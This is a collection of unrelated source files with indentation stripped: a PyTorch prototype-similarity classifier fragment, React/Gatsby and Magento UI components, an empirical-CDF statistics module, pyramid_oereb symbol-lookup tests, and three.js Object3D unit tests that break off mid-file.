def compute_unlabeled_similarities(x_rep, logits):
x_rep = de_interleave(x_rep, 2*self.args.mu+1)
logits = de_interleave(logits, 2*self.args.mu+1)
logits_l = torch.zeros_like(
logits[:self.args.batch_size], device=self.args.device
)
x_rep_u = x_rep[self.args.batch_size:].chunk(2)[0] # only take weakly augmented samples
logits_u = logits[self.args.batch_size:].chunk(2)[0] # only take weakly augmented samples
logits_u_s = torch.zeros_like(
logits[self.args.batch_size:].chunk(2)[1], device=self.args.device
)
sim = similarity_func(x_rep_u, x_rep_u) # (B_u, B_u)
# logits_u_unsup = torch.matmul(sim, logits_u) # (B_u, num_classes)
logits_u_unsup = sim[:,:,None] * logits_u[None,:,:]
mask = 1 - torch.eye(logits_u_unsup.shape[0]).to(self.args.device)
num = torch.sum(mask[:,:,None] * logits_u_unsup, 1)
den = mask.sum(1)[:,None]
logits_u_unsup_scaled = num / den
logits_final = interleave(
torch.cat((logits_l, logits_u_unsup_scaled, logits_u_s)), 2*self.args.mu+1).to(self.args.device)
return logits_final
x_rep = self.compute_representation(x).view(x.shape[0], -1)
prototype_data, padded_prototype_data = prepare_labeled_data(self.training)
N = prototype_data.shape[0]
prototype_reps = self.compute_representation(padded_prototype_data).view(padded_prototype_data.shape[0], -1)
prototype_reps = prototype_reps[:N]
sim = similarity_func(prototype_reps, x_rep)
sim_per_class = sim.view(n_classes, sim.shape[0]//n_classes, sim.shape[1])
logits = sim_per_class.mean(dim=1).transpose(0,1)
if args.unsup and self.training:
logits_u = compute_unlabeled_similarities(x_rep, logits)
logits = logits + logits_u
return logits
setattr(model, 'compute_representation', model.forward)
if args.meps_type == 'dwac':
setattr(model, 'forward', MethodType(dwac_forward, model))
elif args.meps_type == 'meps':
setattr(model, 'forward', MethodType(meps_forward, model))
setattr(model, "args", args)
return model
def l2_similarity(x1, x2):
"""
x1 : (N1 x M)
x2 : (N2 x M)
Returns : (N1 x N2)
"""
# return -torch.cdist(x1, x2)
return -torch.sum((x1[:,None,:] - x2[None,:,:]) ** 2, dim=2)
def normalized_l2_similarity(x1, x2):
"""
x1 : (N1 x M)
x2 : (N2 x M)
Returns : (N1 x N2)
"""
return l2_similarity(x1/x1.norm(dim=1, keepdim=True), x2/x2.norm(dim=1, keepdim=True))
def rbf_similarity(x1, x2):
"""
x1 : (N1 x M)
x2 : (N2 x M)
Returns : (N1 x N2)
"""
return torch.exp(l2_similarity(x1, x2))
def normalized_dot_product_similarity(x1, x2):
x1_norm = x1/x1.norm(dim=1, keepdim=True)
x2_norm = x2/x2.norm(dim=1, keepdim=True)
norm_sim = torch.matmul(x1_norm, x2_norm.T)
return norm_sim * 4
def dot_product_similarity(x1, x2):
return x1 @ x2.T
def polynomial_similarity(x1, x2):
return (dot_product_similarity(x1, x2) + 1)**2
|
import React from 'react'
import classnames from 'classnames'
import { useStaticQuery, graphql, Link } from 'gatsby'
import * as css from './updateslist.module.scss'
const UpdatesList = (props) => {
const data = useStaticQuery(graphql`
query IndexUpdates {
allMdx {
edges {
node {
id
parent {
... on File {
name
sourceInstanceName
}
}
frontmatter {
title
date
lead
path
skip
}
}
}
}
}
`)
return (
<section className={css.updates}>
<div className={css.inner}>
<h2 id="Updates">Updates</h2>
<ul className={classnames('unstyled', css.list)}>
<li className={css.updates_list_item}>
<h3>
<Link to={`/covid`}>Latest updates on COVID-19</Link>
</h3>
<small className={css.date}>2022-02-24</small>
<p>
We created a page for keeping track of the travel rules with
regards to COVID-19
</p>
<Link to={`/covid`}>Read more</Link>
</li>
{data.allMdx.edges
.filter(({ node }) => node.parent.sourceInstanceName === 'updates')
.filter(({ node }) => !node.frontmatter.skip)
.sort((prev, next) => {
const prevDate = new Date(prev.node.frontmatter.date)
const nextDate = new Date(next.node.frontmatter.date)
if (prevDate > nextDate) return -1 //-1
if (prevDate < nextDate) return 1 //1
return 0
})
.slice(0, 2)
.map(({ node }) => (
<li key={node.id} className={css.updates_list_item}>
<h3>
<Link
to={`/${node.parent.sourceInstanceName}/${node.parent.name}`}
>
{node.frontmatter.title}
</Link>
</h3>
<small className={css.date}>{node.frontmatter.date}</small>
<p>{node.frontmatter.lead}</p>
<Link
to={`/${node.parent.sourceInstanceName}/${node.parent.name}`}
>
Read more
</Link>
</li>
))}
</ul>
</div>
</section>
)
}
export default UpdatesList
|
'''
from David Huard's scipy sandbox, also attached to a ticket and
in the matplotlib-user mailinglist (links ???)
Notes
=====
out of bounds interpolation raises exception and wouldn't be completely
defined ::
>>> scoreatpercentile(x, [0,25,50,100])
Traceback (most recent call last):
...
raise ValueError("A value in x_new is below the interpolation "
ValueError: A value in x_new is below the interpolation range.
>>> percentileofscore(x, [-50, 50])
Traceback (most recent call last):
...
raise ValueError("A value in x_new is below the interpolation "
ValueError: A value in x_new is below the interpolation range.
idea
====
histogram and empirical interpolated distribution
-------------------------------------------------
dual constructor
* empirical cdf : cdf on all observations through linear interpolation
* binned cdf : based on histogram
both should work essentially the same, although pdf of empirical has
many spikes, fluctuates a lot
- alternative: binning based on interpolated cdf : example in script
* ppf: quantileatscore based on interpolated cdf
* rvs : generic from ppf
* stats, expectation ? how does integration wrt cdf work - theory?
Problems
* limits, lower and upper bound of support
does not work or is undefined with empirical cdf and interpolation
* extending bounds ?
matlab has pareto tails for empirical distribution, breaks linearity
empirical distribution with higher order interpolation
------------------------------------------------------
* should work easily enough with interpolating splines
* not piecewise linear
* can use pareto (or other) tails
* ppf how do I get the inverse function of a higher order spline?
Chuck: resample and fit spline to inverse function
this will have an approximation error in the inverse function
* -> doesn't work: higher order spline doesn't preserve monotonicity
see mailing list for response to my question
* pmf from derivative available in spline
-> forget this and use kernel density estimator instead
bootstrap/empirical distribution:
---------------------------------
discrete distribution on real line given observations
what's defined?
* cdf : step function
* pmf : points with equal weight 1/nobs
* rvs : resampling
* ppf : quantileatscore on sample?
* moments : from data ?
* expectation ? sum_{all observations x} [func(x) * pmf(x)]
* similar for discrete distribution on real line
* References : ?
* what's the point? most of it is trivial, just for the record ?
Created on Monday, May 03, 2010, 11:47:03 AM
Author: josef-pktd, parts based on David Huard
License: BSD
'''
import scipy.interpolate as interpolate
import numpy as np
def scoreatpercentile(data, percentile):
"""Return the score at the given percentile of the data.
Example:
>>> data = randn(100)
>>> scoreatpercentile(data, 50)
will return the median of sample `data`.
"""
per = np.array(percentile)
cdf = empiricalcdf(data)
interpolator = interpolate.interp1d(np.sort(cdf), np.sort(data))
return interpolator(per/100.)
def percentileofscore(data, score):
"""Return the percentile-position of score relative to data.
score: Array of scores at which the percentile is computed.
Return percentiles (0-100).
Example
r = randn(50)
x = linspace(-2,2,100)
percentileofscore(r,x)
Raise an error if the score is outside the range of data.
"""
cdf = empiricalcdf(data)
interpolator = interpolate.interp1d(np.sort(data), np.sort(cdf))
return interpolator(score)*100.
def empiricalcdf(data, method='Hazen'):
"""Return the empirical cdf.
Methods available:
Hazen: (i-0.5)/N
Weibull: i/(N+1)
Chegodayev: (i-.3)/(N+.4)
Cunnane: (i-.4)/(N+.2)
Gringorten: (i-.44)/(N+.12)
California: (i-1)/N
Where i goes from 1 to N.
"""
i = np.argsort(np.argsort(data)) + 1.
N = len(data)
method = method.lower()
if method == 'hazen':
cdf = (i-0.5)/N
elif method == 'weibull':
cdf = i/(N+1.)
elif method == 'california':
cdf = (i-1.)/N
elif method == 'chegodayev':
cdf = (i-.3)/(N+.4)
elif method == 'cunnane':
cdf = (i-.4)/(N+.2)
elif method == 'gringorten':
cdf = (i-.44)/(N+.12)
else:
raise ValueError('Unknown method. Choose among Weibull, Hazen,'
'Chegodayev, Cunnane, Gringorten and California.')
return cdf
class HistDist(object):
'''Distribution with piecewise linear cdf, pdf is step function
can be created from empiricial distribution or from a histogram (not done yet)
work in progress, not finished
'''
def __init__(self, data):
self.data = np.atleast_1d(data)
self.binlimit = np.array([self.data.min(), self.data.max()])
sortind = np.argsort(data)
self._datasorted = data[sortind]
self.ranking = np.argsort(sortind)
cdf = self.empiricalcdf()
self._empcdfsorted = np.sort(cdf)
self.cdfintp = interpolate.interp1d(self._datasorted, self._empcdfsorted)
self.ppfintp = interpolate.interp1d(self._empcdfsorted, self._datasorted)
def empiricalcdf(self, data=None, method='Hazen'):
"""Return the empirical cdf.
Methods available:
Hazen: (i-0.5)/N
Weibull: i/(N+1)
Chegodayev: (i-.3)/(N+.4)
Cunnane: (i-.4)/(N+.2)
Gringorten: (i-.44)/(N+.12)
California: (i-1)/N
Where i goes from 1 to N.
"""
if data is None:
data = self.data
i = self.ranking
else:
i = np.argsort(np.argsort(data)) + 1.
N = len(data)
method = method.lower()
if method == 'hazen':
cdf = (i-0.5)/N
elif method == 'weibull':
cdf = i/(N+1.)
elif method == 'california':
cdf = (i-1.)/N
elif method == 'chegodayev':
cdf = (i-.3)/(N+.4)
elif method == 'cunnane':
cdf = (i-.4)/(N+.2)
elif method == 'gringorten':
cdf = (i-.44)/(N+.12)
else:
raise ValueError('Unknown method. Choose among Weibull, Hazen,'
'Chegodayev, Cunnane, Gringorten and California.')
return cdf
def cdf_emp(self, score):
'''
this is score in dh
'''
return self.cdfintp(score)
#return percentileofscore(self.data, score)
def ppf_emp(self, quantile):
'''
this is score in dh
'''
return self.ppfintp(quantile)
#return scoreatpercentile(self.data, quantile*100)
#from DHuard http://old.nabble.com/matplotlib-f2903.html
def optimize_binning(self, method='Freedman'):
"""Find the optimal number of bins and update the bin countaccordingly.
Available methods : Freedman
Scott
"""
nobs = len(self.data)
if method=='Freedman':
IQR = self.ppf_emp(0.75) - self.ppf_emp(0.25) # Interquantile range(75% -25%)
width = 2* IQR* nobs**(-1./3)
elif method=='Scott':
width = 3.49 * np.std(self.data) * nobs**(-1./3)
self.nbin = (self.binlimit.ptp()/width)
return self.nbin
#changes: josef-pktd
if __name__ == '__main__':
import matplotlib.pyplot as plt
nobs = 100
x = np.random.randn(nobs)
examples = [2]
if 1 in examples:
empiricalcdf(x)
print percentileofscore(x, 0.5)
print scoreatpercentile(x, 50)
import matplotlib.pyplot as plt
xsupp = np.linspace(x.min(), x.max())
pos = percentileofscore(x, xsupp)
plt.plot(xsupp, pos)
#perc = np.linspace(2.5, 97.5)
#plt.plot(scoreatpercentile(x, perc), perc)
plt.plot(scoreatpercentile(x, pos), pos+1)
#emp = interpolate.PiecewisePolynomial(np.sort(empiricalcdf(x)), np.sort(x))
emp=interpolate.InterpolatedUnivariateSpline(np.sort(x),np.sort(empiricalcdf(x)),k=1)
pdfemp = np.array([emp.derivatives(xi)[1] for xi in xsupp])
plt.figure()
plt.plot(xsupp,pdfemp)
cdf_ongrid = emp(xsupp)
plt.figure()
plt.plot(xsupp, cdf_ongrid)
#get pdf from interpolated cdf on a regular grid
plt.figure()
plt.step(xsupp[:-1],np.diff(cdf_ongrid)/np.diff(xsupp))
#reduce number of bins/steps
xsupp2 = np.linspace(x.min(), x.max(), 25)
plt.figure()
plt.step(xsupp2[:-1],np.diff(emp(xsupp2))/np.diff(xsupp2))
#pdf using 25 original observations, every (nobs/25)th
xso = np.sort(x)
xs = xso[::nobs/25]
plt.figure()
plt.step(xs[:-1],np.diff(emp(xs))/np.diff(xs))
#lower end looks strange
histd = HistDist(x)
print histd.optimize_binning()
print histd.cdf_emp(histd.binlimit)
print histd.ppf_emp([0.25, 0.5, 0.75])
print histd.cdf_emp([-0.5, -0.25, 0, 0.25, 0.5])
xsupp = np.linspace(x.min(), x.max(), 500)
emp=interpolate.InterpolatedUnivariateSpline(np.sort(x),np.sort(empiricalcdf(x)),k=1)
#pdfemp = np.array([emp.derivatives(xi)[1] for xi in xsupp])
#plt.figure()
#plt.plot(xsupp,pdfemp)
cdf_ongrid = emp(xsupp)
plt.figure()
plt.plot(xsupp, cdf_ongrid)
ppfintp = interpolate.InterpolatedUnivariateSpline(cdf_ongrid,xsupp,k=3)
ppfs = ppfintp(cdf_ongrid)
plt.plot(ppfs, cdf_ongrid)
ppfemp=interpolate.InterpolatedUnivariateSpline(np.sort(empiricalcdf(x)),np.sort(x),k=3)
ppfe = ppfemp(cdf_ongrid)
plt.plot(ppfe, cdf_ongrid)
|
import binascii
import pytest
from unittest.mock import patch
from sqlalchemy import Integer
from sqlalchemy.ext.declarative import declarative_base
from pyramid.httpexceptions import HTTPNotFound, HTTPServerError
from pyramid_oereb.contrib.data_sources.standard.hook_methods import get_symbol
from pyramid_oereb.contrib.data_sources.standard.models import get_view_service, get_legend_entry
from pyramid_oereb.core import b64
@pytest.fixture
def theme_config():
yield {
"srid": 2056,
"code": "ch.Nutzungsplanung",
"view_service": {
"layer_index": 1,
"layer_opacity": 0.25,
},
"law_status_lookup": [{
"data_code": "inKraft",
"transfer_code": "inKraft",
"extract_code": "inForce"
}],
"standard": True,
"federal": True,
"source": {
"class": "pyramid_oereb.contrib.data_sources.standard.sources.plr.DatabaseSource",
"params": {
"db_connection": "postgresql://postgres:postgres@123.123.123.123:5432/oereb_test_db",
"model_factory": "pyramid_oereb.contrib.data_sources.standard.models.theme.model_factory_string_pk", # noqa: E501
"schema_name": "land_use_plans"
}
},
"hooks": {
"get_symbol": "pyramid_oereb.contrib.data_sources.standard.hook_methods.get_symbol",
"get_symbol_ref": "pyramid_oereb.contrib.data_sources.standard.hook_methods.get_symbol_ref"
},
"thresholds": {
"length": {
"limit": 1.0,
"unit": 'm',
"precision": 2
},
"area": {
"limit": 1.0,
"unit": 'm²',
"precision": 2
},
"percentage": {
"precision": 1
}
},
"document_types_lookup": [{
"data_code": "Rechtsvorschrift",
"transfer_code": "Rechtsvorschrift",
"extract_code": "LegalProvision"
}, {
"data_code": "GesetzlicheGrundlage",
"transfer_code": "GesetzlicheGrundlage",
"extract_code": "Law"
}, {
"data_code": "Hinweis",
"transfer_code": "Hinweis",
"extract_code": "Hint"
}]
}
@pytest.fixture
def legend_entry():
Base = declarative_base()
ViewService = get_view_service(Base, 'test', Integer)
LegendEntry = get_legend_entry(Base, 'test', Integer, ViewService)
yield LegendEntry
@pytest.fixture
def one_result_binary_session(legend_entry, png_binary, session, query):
class Query(query):
def one(self):
return legend_entry(**{
'id': 1,
'symbol': png_binary,
'legend_text': {'de': 'testlegende'},
'type_code': 'testCode',
'type_code_list': 'testCode,testCode2,testCode3',
'theme': 'ch.TestThema',
'sub_theme': 'ch.SubTestThema',
'view_service_id': 1
})
class Session(session):
def query(self, term):
return Query()
yield Session
@pytest.fixture
def no_result_session(legend_entry, png_binary, session, query):
class Session(session):
def query(self, term):
return query()
yield Session
@pytest.fixture
def one_result_no_symbol_session(legend_entry, session, query):
class Query(query):
def one(self):
return legend_entry(**{
'id': 1,
'legend_text': {'de': 'testlegende'},
'type_code': 'testCode',
'type_code_list': 'testCode,testCode2,testCode3',
'theme': 'ch.TestThema',
'sub_theme': 'ch.SubTestThema',
'view_service_id': 1
})
class Session(session):
def query(self, term):
return Query()
yield Session
@pytest.fixture
def one_result_wrong_content_session(legend_entry, session, query):
class Query(query):
def one(self):
return legend_entry(**{
'id': 1,
'symbol': 1,
'legend_text': {'de': 'testlegende'},
'type_code': 'testCode',
'type_code_list': 'testCode,testCode2,testCode3',
'theme': 'ch.TestThema',
'sub_theme': 'ch.SubTestThema',
'view_service_id': 1
})
class Session(session):
def query(self, term):
return Query()
yield Session
@pytest.fixture
def one_result_b64_session(legend_entry, png_binary, session, query):
class Query(query):
def one(self):
return legend_entry(**{
'id': 1,
'symbol': b64.encode(png_binary),
'legend_text': {'de': 'testlegende'},
'type_code': 'testCode',
'type_code_list': 'testCode,testCode2,testCode3',
'theme': 'ch.TestThema',
'sub_theme': 'ch.SubTestThema',
'view_service_id': 1
})
class Session(session):
def query(self, term):
return Query()
yield Session
def test_get_symbol_binary_content(theme_config, one_result_binary_session, png_binary):
with patch(
'pyramid_oereb.core.adapter.DatabaseAdapter.get_session',
return_value=one_result_binary_session()):
body, content_type = get_symbol({'identifier': "1"}, theme_config)
assert content_type == 'image/png'
assert body == b64.decode(binascii.b2a_base64(png_binary).decode('ascii'))
def test_get_symbol_no_symbol_content(theme_config, one_result_no_symbol_session):
with patch(
'pyramid_oereb.core.adapter.DatabaseAdapter.get_session',
return_value=one_result_no_symbol_session()):
with pytest.raises(HTTPServerError):
get_symbol({'identifier': "1"}, theme_config)
def test_get_symbol_wrong_param(theme_config, one_result_no_symbol_session):
with patch(
'pyramid_oereb.core.adapter.DatabaseAdapter.get_session',
return_value=one_result_no_symbol_session()):
with pytest.raises(HTTPServerError):
get_symbol({'identif': "1"}, theme_config)
def test_get_symbol_no_legend_entry(theme_config, no_result_session):
with patch(
'pyramid_oereb.core.adapter.DatabaseAdapter.get_session',
return_value=no_result_session()):
with pytest.raises(HTTPNotFound):
get_symbol({'identifier': "2"}, theme_config)
def test_get_symbol_wrong_content(theme_config, one_result_wrong_content_session):
with patch('pyramid_oereb.core.adapter.DatabaseAdapter.get_session',
return_value=one_result_wrong_content_session()):
with pytest.raises(HTTPServerError):
get_symbol({'identifier': "1"}, theme_config)
def test_get_symbol_b64_content(theme_config, one_result_b64_session, png_binary):
with patch('pyramid_oereb.core.adapter.DatabaseAdapter.get_session',
return_value=one_result_b64_session()):
body, content_type = get_symbol({'identifier': "1"}, theme_config)
assert content_type == 'image/png'
assert body == b64.decode(binascii.b2a_base64(png_binary).decode('ascii'))
|
import React, {useRef} from 'react'
import PropTypes from 'prop-types'
import {FiX} from 'react-icons/fi'
import {rem} from 'polished'
import theme from '../theme'
import useClickOutside from '../hooks/use-click-outside'
import {Fill, Absolute} from './position'
function Drawer({show, onHide, ...props}) {
const ref = useRef()
useClickOutside(ref, () => {
onHide()
})
return show ? (
<Fill bg={theme.colors.gray3} zIndex={1}>
<Absolute
bg={theme.colors.white}
zIndex={2}
top={0}
bottom={0}
right={0}
width={rem(360)}
ref={ref}
{...props}
/>
<Absolute top="1em" right="1em" zIndex={2}>
<FiX
color={theme.colors.muted}
fontSize={theme.fontSizes.large}
onClick={onHide}
cursor="pointer"
/>
</Absolute>
</Fill>
) : null
}
Drawer.propTypes = {
show: PropTypes.bool,
onHide: PropTypes.func,
}
export default Drawer
|
/**
* Copyright © 2016 Magento. All rights reserved.
* See COPYING.txt for license details.
*/
define([
'underscore',
'mageUtils',
'uiRegistry',
'./column',
'Magento_Ui/js/modal/confirm'
], function (_, utils, registry, Column, confirm) {
'use strict';
return Column.extend({
defaults: {
bodyTmpl: 'ui/grid/cells/actions',
sortable: false,
draggable: false,
actions: [],
rows: [],
rowsProvider: '${ $.parentName }',
fieldClass: {
'data-grid-actions-cell': true
},
templates: {
actions: {}
},
imports: {
rows: '${ $.rowsProvider }:rows'
},
listens: {
rows: 'updateActions'
}
},
/**
* Initializes observable properties.
*
* @returns {ActionsColumn} Chainable.
*/
initObservable: function () {
this._super()
.track('actions');
return this;
},
/**
* Returns specific action of a specified row
* or all action objects associated with it.
*
* @param {Number} rowIndex - Index of a row.
* @param {String} [actionIndex] - Action identifier.
* @returns {Array|Object}
*/
getAction: function (rowIndex, actionIndex) {
var rowActions = this.actions[rowIndex];
return rowActions && actionIndex ?
rowActions[actionIndex] :
rowActions;
},
/**
* Returns visible actions for a specified row.
*
* @param {Number} rowIndex - Index of a row.
* @returns {Array} Visible actions.
*/
getVisibleActions: function (rowIndex) {
var rowActions = this.getAction(rowIndex);
return _.filter(rowActions, this.isActionVisible, this);
},
/**
* Adds new action. If action with a specfied identifier
* already exists, than the original will be overrided.
*
* @param {String} index - Actions' identifier.
* @param {Object} action - Actions' data.
* @returns {ActionsColumn} Chainable.
*/
addAction: function (index, action) {
var actionTmpls = this.templates.actions;
actionTmpls[index] = action;
this.updateActions();
return this;
},
/**
* Recreates actions for each row.
*
* @returns {ActionsColumn} Chainable.
*/
updateActions: function () {
this.actions = this.rows.map(this._formatActions, this);
return this;
},
/**
* Processes actions, setting additional information to them and
* evaluating ther properties as a string templates.
*
* @private
* @param {Object} row - Row object.
* @param {Number} rowIndex - Index of a row.
* @returns {Array}
*/
_formatActions: function (row, rowIndex) {
var rowActions = row[this.index] || {},
recordId = row[this.indexField],
customActions = this.templates.actions;
/**
* Actions iterator.
*/
function iterate(action, index) {
action = utils.extend({
index: index,
rowIndex: rowIndex,
recordId: recordId
}, action);
return utils.template(action, row, true);
}
rowActions = _.mapObject(rowActions, iterate);
customActions = _.map(customActions, iterate);
customActions.forEach(function (action) {
rowActions[action.index] = action;
});
return rowActions;
},
/**
* Applies specified action.
*
* @param {String} actionIndex - Actions' identifier.
* @param {Number} rowIndex - Index of a row.
* @returns {ActionsColumn} Chainable.
*/
applyAction: function (actionIndex, rowIndex) {
var action = this.getAction(rowIndex, actionIndex),
callback = this._getCallback(action);
action.confirm ?
this._confirm(action, callback) :
callback();
return this;
},
/**
* Creates handler for the provided action if it's required.
*
* @param {Object} action - Action object.
* @returns {Function|Undefined}
*/
getActionHandler: function (action) {
var index = action.index,
rowIndex = action.rowIndex;
if (this.isHandlerRequired(index, rowIndex)) {
return this.applyAction.bind(this, index, rowIndex);
}
},
/**
* Checks if specified action requires a handler function.
*
* @param {String} actionIndex - Actions' identifier.
* @param {Number} rowIndex - Index of a row.
* @returns {Boolean}
*/
isHandlerRequired: function (actionIndex, rowIndex) {
var action = this.getAction(rowIndex, actionIndex);
return _.isObject(action.callback) || action.confirm || !action.href;
},
/**
* Creates action callback based on its' data. If action doesn't spicify
* a callback function than the default one will be used.
*
* @private
* @param {Object} action - Actions' object.
* @returns {Function} Callback function.
*/
_getCallback: function (action) {
var args = [action.index, action.recordId, action],
callback = action.callback;
if (utils.isObject(callback)) {
args.unshift(callback.target);
callback = registry.async(callback.provider);
} else if (_.isArray(callback)) {
return this._getCallbacks(action);
} else if (!_.isFunction(callback)) {
callback = this.defaultCallback.bind(this);
}
return function () {
callback.apply(callback, args);
};
},
/**
* Creates action callback for multiple actions.
*
* @private
* @param {Object} action - Actions' object.
* @returns {Function} Callback function.
*/
_getCallbacks: function (action) {
var callback = action.callback,
callbacks = [],
tmpCallback;
_.each(callback, function (cb) {
tmpCallback = {
action: registry.async(cb.provider),
args: _.compact([cb.target, cb.params])
};
callbacks.push(tmpCallback);
});
return function () {
_.each(callbacks, function (cb) {
cb.action.apply(cb.action, cb.args);
});
};
},
/**
* Default action callback. Redirects to
* the specified in actions' data url.
*
* @param {String} actionIndex - Actions' identifier.
* @param {(Number|String)} recordId - Id of the record accociated
* with a specfied action.
* @param {Object} action - Actions' data.
*/
defaultCallback: function (actionIndex, recordId, action) {
window.location.href = action.href;
},
/**
* Shows actions' confirmation window.
*
* @param {Object} action - Actions' data.
* @param {Function} callback - Callback that will be
* invoked if action is confirmed.
*/
_confirm: function (action, callback) {
var confirmData = action.confirm;
confirm({
title: confirmData.title,
content: confirmData.message,
actions: {
confirm: callback
}
});
},
/**
* Checks if row has only one visible action.
*
* @param {Number} rowIndex - Row index.
* @returns {Boolean}
*/
isSingle: function (rowIndex) {
return this.getVisibleActions(rowIndex).length === 1;
},
/**
* Checks if row has more than one visible action.
*
* @param {Number} rowIndex - Row index.
* @returns {Boolean}
*/
isMultiple: function (rowIndex) {
return this.getVisibleActions(rowIndex).length > 1;
},
/**
* Checks if action should be displayed.
*
* @param {Object} action - Action object.
* @returns {Boolean}
*/
isActionVisible: function (action) {
return action.hidden !== true;
},
/**
* Overrides base method, because this component
* can't have global field action.
*
* @returns {Boolean} False.
*/
hasFieldAction: function () {
return false;
}
});
});
|
/**
* @author simonThiele / https://github.com/simonThiele
* @author TristanVALCKE / https://github.com/Itee
*/
/* global QUnit */
import { Object3D } from '../../../../src/core/Object3D';
import { Vector3 } from '../../../../src/math/Vector3';
import { Euler } from '../../../../src/math/Euler';
import { Quaternion } from '../../../../src/math/Quaternion';
import { Matrix4 } from '../../../../src/math/Matrix4';
import {
x,
y,
z,
w,
eps
} from '../math/Constants.tests';
export default QUnit.module( 'Core', () => {
QUnit.module( 'Object3D', () => {
var RadToDeg = 180 / Math.PI;
var eulerEquals = function ( a, b, tolerance ) {
tolerance = tolerance || 0.0001;
if ( a.order != b.order ) {
return false;
}
return (
Math.abs( a.x - b.x ) <= tolerance &&
Math.abs( a.y - b.y ) <= tolerance &&
Math.abs( a.z - b.z ) <= tolerance
);
};
// INHERITANCE
QUnit.todo( "Extending", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
// INSTANCING
QUnit.todo( "Instancing", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
// STATIC STUFF
QUnit.todo( "DefaultUp", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.todo( "DefaultMatrixAutoUpdate", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
// PUBLIC STUFF
QUnit.todo( "isObject3D", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.todo( "onBeforeRender", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.todo( "onAfterRender", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.test( "applyMatrix", ( assert ) => {
var a = new Object3D();
var m = new Matrix4();
var expectedPos = new Vector3( x, y, z );
var expectedQuat = new Quaternion( 0.5 * Math.sqrt( 2 ), 0, 0, 0.5 * Math.sqrt( 2 ) );
m.makeRotationX( Math.PI / 2 );
m.setPosition( new Vector3( x, y, z ) );
a.applyMatrix( m );
assert.deepEqual( a.position, expectedPos, "Position has the expected values" );
assert.ok(
Math.abs( a.quaternion.x - expectedQuat.x ) <= eps &&
Math.abs( a.quaternion.y - expectedQuat.y ) <= eps &&
Math.abs( a.quaternion.z - expectedQuat.z ) <= eps,
"Quaternion has the expected values"
);
} );
QUnit.test( "applyQuaternion", ( assert ) => {
var a = new Object3D();
var sqrt = 0.5 * Math.sqrt( 2 );
var quat = new Quaternion( 0, sqrt, 0, sqrt );
var expected = new Quaternion( sqrt / 2, sqrt / 2, 0, 0 );
a.quaternion.set( 0.25, 0.25, 0.25, 0.25 );
a.applyQuaternion( quat );
assert.ok(
Math.abs( a.quaternion.x - expected.x ) <= eps &&
Math.abs( a.quaternion.y - expected.y ) <= eps &&
Math.abs( a.quaternion.z - expected.z ) <= eps,
"Quaternion has the expected values"
);
} );
QUnit.test( "setRotationFromAxisAngle", ( assert ) => {
var a = new Object3D();
var axis = new Vector3( 0, 1, 0 );
var angle = Math.PI;
var expected = new Euler( - Math.PI, 0, - Math.PI );
var euler = new Euler();
a.setRotationFromAxisAngle( axis, angle );
euler.setFromQuaternion( a.getWorldQuaternion( new Quaternion() ) );
assert.ok( eulerEquals( euler, expected ), "Correct values after rotation" );
axis.set( 1, 0, 0 );
var angle = 0;
expected.set( 0, 0, 0 );
a.setRotationFromAxisAngle( axis, angle );
euler.setFromQuaternion( a.getWorldQuaternion( new Quaternion() ) );
assert.ok( eulerEquals( euler, expected ), "Correct values after zeroing" );
} );
QUnit.test( "setRotationFromEuler", ( assert ) => {
var a = new Object3D();
var rotation = new Euler( ( 45 / RadToDeg ), 0, Math.PI );
var expected = rotation.clone(); // bit obvious
var euler = new Euler();
a.setRotationFromEuler( rotation );
euler.setFromQuaternion( a.getWorldQuaternion( new Quaternion() ) );
assert.ok( eulerEquals( euler, expected ), "Correct values after rotation" );
} );
QUnit.test( "setRotationFromMatrix", ( assert ) => {
var a = new Object3D();
var m = new Matrix4();
var eye = new Vector3( 0, 0, 0 );
var target = new Vector3( 0, 1, - 1 );
var up = new Vector3( 0, 1, 0 );
var euler = new Euler();
m.lookAt( eye, target, up );
a.setRotationFromMatrix( m );
euler.setFromQuaternion( a.getWorldQuaternion( new Quaternion() ) );
assert.numEqual( euler.x * RadToDeg, 45, "Correct rotation angle" );
} );
QUnit.test( "setRotationFromQuaternion", ( assert ) => {
var a = new Object3D();
var rotation = new Quaternion().setFromEuler( new Euler( Math.PI, 0, - Math.PI ) );
var euler = new Euler();
a.setRotationFromQuaternion( rotation );
euler.setFromQuaternion( a.getWorldQuaternion( new Quaternion() ) );
assert.ok( eulerEquals( euler, new Euler( Math.PI, 0, - Math.PI ) ), "Correct values after rotation" );
} );
QUnit.todo( "rotateOnAxis", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.todo( "rotateOnWorldAxis", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.test( "rotateX", ( assert ) => {
var obj = new Object3D();
var angleInRad = 1.562;
obj.rotateX( angleInRad );
assert.numEqual( obj.rotation.x, angleInRad, "x is equal" );
} );
QUnit.test( "rotateY", ( assert ) => {
var obj = new Object3D();
var angleInRad = - 0.346;
obj.rotateY( angleInRad );
assert.numEqual( obj.rotation.y, angleInRad, "y is equal" );
} );
QUnit.test( "rotateZ", ( assert ) => {
var obj = new Object3D();
var angleInRad = 1;
obj.rotateZ( angleInRad );
assert.numEqual( obj.rotation.z, angleInRad, "z is equal" );
} );
QUnit.test( "translateOnAxis", ( assert ) => {
var obj = new Object3D();
obj.translateOnAxis( new Vector3( 1, 0, 0 ), 1 );
obj.translateOnAxis( new Vector3( 0, 1, 0 ), 1.23 );
obj.translateOnAxis( new Vector3( 0, 0, 1 ), - 4.56 );
assert.propEqual( obj.position, {
x: 1,
y: 1.23,
z: - 4.56
} );
} );
QUnit.test( "translateX", ( assert ) => {
var obj = new Object3D();
obj.translateX( 1.234 );
assert.numEqual( obj.position.x, 1.234, "x is equal" );
} );
QUnit.test( "translateY", ( assert ) => {
var obj = new Object3D();
obj.translateY( 1.234 );
assert.numEqual( obj.position.y, 1.234, "y is equal" );
} );
QUnit.test( "translateZ", ( assert ) => {
var obj = new Object3D();
obj.translateZ( 1.234 );
assert.numEqual( obj.position.z, 1.234, "z is equal" );
} );
QUnit.todo( "localToWorld", ( assert ) => {
assert.ok( false, "everything's gonna be alright" );
} );
QUnit.todo( "worldToLocal", ( assert ) => {
